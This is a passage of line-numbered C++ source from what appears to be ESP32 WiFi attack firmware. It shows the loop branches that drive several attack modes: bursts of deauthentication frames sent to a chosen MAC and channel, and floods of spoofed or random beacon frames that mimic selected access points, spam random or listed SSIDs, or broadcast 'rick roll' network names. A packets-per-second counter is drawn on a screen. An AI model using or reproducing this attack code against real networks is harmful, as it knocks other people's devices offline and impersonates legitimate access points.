  2695. displayString2.concat(" ");
  2696. #ifdef HAS_SCREEN
  2697. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2698. display_obj.showCenterText(displayString2, 160);
  2699. display_obj.showCenterText(displayString, 160);
  2700. #endif
  2701. packets_sent = 0;
  2702. }
  2703. }
  2704. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2705. for (int i = 0; i < 55; i++)
  2706. this->sendDeauthFrame(this->src_mac, this->set_channel);
  2707. if (currentTime - initTime >= 1000) {
  2708. initTime = millis();
  2709. String displayString = "";
  2710. String displayString2 = "";
  2711. displayString.concat(text18);
  2712. displayString.concat(packets_sent);
  2713. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2714. displayString2.concat(" ");
  2715. #ifdef HAS_SCREEN
  2716. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2717. display_obj.showCenterText(displayString2, 160);
  2718. display_obj.showCenterText(displayString, 160);
  2719. #endif
  2720. packets_sent = 0;
  2721. }
  2722. }
  2723. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2724. // Need this for loop because getTouch causes ~10ms delay
  2725. // which makes beacon spam less effective
  2726. for (int i = 0; i < access_points->size(); i++) {
  2727. if (access_points->get(i).selected)
  2728. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2729. random(256),
  2730. random(256),
  2731. random(256),
  2732. random(256),
  2733. random(256)}});
  2734. }
  2735. if (currentTime - initTime >= 1000)
  2736. {
  2737. initTime = millis();
  2738. //Serial.print("packets/sec: ");
  2739. //Serial.println(packets_sent);
  2740. String displayString = "";
  2741. String displayString2 = "";
  2742. displayString.concat(text18);
  2743. displayString.concat(packets_sent);
  2744. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2745. displayString2.concat(" ");
  2746. #ifdef HAS_SCREEN
  2747. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2748. display_obj.showCenterText(displayString2, 160);
  2749. display_obj.showCenterText(displayString, 160);
  2750. #endif
  2751. packets_sent = 0;
  2752. }
  2753. }
  2754. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2755. {
  2756. // Need this for loop because getTouch causes ~10ms delay
  2757. // which makes beacon spam less effective
  2758. for (int i = 0; i < 55; i++)
  2759. broadcastRandomSSID(currentTime);
  2760. if (currentTime - initTime >= 1000)
  2761. {
  2762. initTime = millis();
  2763. //Serial.print("packets/sec: ");
  2764. //Serial.println(packets_sent);
  2765. String displayString = "";
  2766. String displayString2 = "";
  2767. displayString.concat(text18);
  2768. displayString.concat(packets_sent);
  2769. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2770. displayString2.concat(" ");
  2771. #ifdef HAS_SCREEN
  2772. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2773. display_obj.showCenterText(displayString2, 160);
  2774. display_obj.showCenterText(displayString, 160);
  2775. #endif
  2776. packets_sent = 0;
  2777. }
  2778. }
  2779. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2780. for (int i = 0; i < ssids->size(); i++)
  2781. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2782. if (currentTime - initTime >= 1000)
  2783. {
  2784. initTime = millis();
  2785. packets_sent = 0;
  2786. }
  2787. }
  2788. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2789. for (int i = 0; i < access_points->size(); i++) {
  2790. if (access_points->get(i).selected)
  2791. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2792. }
  2793. if (currentTime - initTime >= 1000) {
  2794. initTime = millis();
  2795. packets_sent = 0;
  2796. }
  2797. }
  2798. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2799. {
  2800. // Need this for loop because getTouch causes ~10ms delay
  2801. // which makes beacon spam less effective
  2802. for (int i = 0; i < 7; i++)
  2803. {
  2804. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2805. {
  2806. broadcastSetSSID(currentTime, rick_roll[x]);
  2807. }
  2808. }
  2809. if (currentTime - initTime >= 1000)
  2810. {
  2811. initTime = millis();
  2812. //Serial.print("packets/sec: ");
  2813. //Serial.println(packets_sent);
  2814. String displayString = "";
  2815. String displayString2 = "";
  2816. displayString.concat(text18);
  2817. displayString.concat(packets_sent);
  2818. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2819. displayString2.concat(" ");
  2820. #ifdef HAS_SCREEN
  2821. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2822. display_obj.showCenterText(displayString2, 160);
  2823. display_obj.showCenterText(displayString, 160);
  2824. #endif
  2825. packets_sent = 0;
  2826. }
  2827. }
  2828. }